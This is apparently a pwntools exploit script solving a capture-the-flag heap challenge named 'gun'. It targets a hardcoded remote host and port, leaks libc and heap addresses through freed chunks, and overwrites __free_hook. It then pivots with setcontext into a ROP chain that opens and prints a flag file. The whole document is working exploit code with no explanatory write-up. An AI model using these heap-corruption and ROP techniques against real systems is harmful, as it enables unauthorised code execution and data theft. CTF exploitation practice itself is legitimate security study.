1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| from pwn import *
file_path = "./gun" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('123.56.96.75', 30772) libc = ELF('./libc-2.31.so') one_gadget = 0x0
def add(size, content=b"\n"): p.sendlineafter("Action> ", "3") p.sendlineafter("Bullet price: ", str(size)) p.sendafter("Bullet Name: ", content)
def delete(index): p.sendlineafter("Action> ", "1") p.sendlineafter("Shoot time: ", str(index))
def load(index): p.sendlineafter("Action> ", "2") p.sendlineafter("want to load?", str(index))
name = "lyyl" p.sendlineafter("Your name: ", name)
for i in range(7): add(0x68) for i in range(3): add(0x10) add(0x28) add(0x420) add(0x28) add(0x28) load(13) load(12) load(11) load(10) delete(4)
add(0x68) add(0x68) add(0x68) add(0x28) load(10) delete(4)
p.recvuntil("Pwn! The ") libc.address = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\x00")) - 96 - 0x3f0 - 0x10 - libc.sym['__malloc_hook'] log.success("libc address {}".format(hex(libc.address))) for i in range(3): p.recvuntil("Pwn! The ") heap_base = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\x00")) - 0x770 - 0x330 log.success("heap base {}".format(hex(heap_base)))
add(0x68)
for i in range(3): load(7 + i) delete(3)
add(0x68) add(0x68)
load(10) load(7) load(8)
for i in range(7): load(i)
delete(11)
for i in range(7): add(0x68)
p_rdi_r = 0x0000000000026b72 + libc.address p_rsi_r = 0x0000000000027529 + libc.address p_rdx_r12_r = 0x000000000011c371 + libc.address p_rax_r = 0x000000000004a550 + libc.address syscall = 0x0000000000066229 + libc.address ret_addr = 0x0000000000025679 + libc.address flag_str_address = heap_base + 0x7c0 + 0x140 frame_address = heap_base + 0x7c0 orw_address = heap_base + 0x738 read_orw_address = heap_base + 0x6f8 flag_address = libc.sym['__malloc_hook'] + 0x200
magic = 0x0000000000154930 + libc.address
orw = flat([ p_rax_r, 2, p_rdi_r, flag_str_address, p_rsi_r, 0, syscall, p_rax_r, 0, p_rdi_r, 3, p_rsi_r, flag_address, p_rdx_r12_r, 0x40, 0, syscall, p_rax_r, 1, p_rdi_r, 1, p_rsi_r, flag_address, p_rdx_r12_r, 0x40, 0, syscall ])
read_orw = flat([ p_rax_r, 0, p_rdi_r, 0, p_rsi_r, orw_address, p_rdx_r12_r, 0x200, 0, syscall ])
payload = p64(0) + p64(frame_address) + p64(0)*2 + p64(libc.sym['setcontext'] + 61) payload = payload.ljust(0xa0, b"\x00") + p64(read_orw_address) + p64(ret_addr)
add(0x68, p64(libc.sym['__free_hook']) + read_orw + b"\n") add(0x68) add(0x68) add(0x68, p64(magic) + b"\n") add(0x150, payload.ljust(0x140, b"\x00") + b"./flag\x00".ljust(0x10, b"\x00")) load(11)
delete(1)
p.sendline(orw)
p.interactive()
|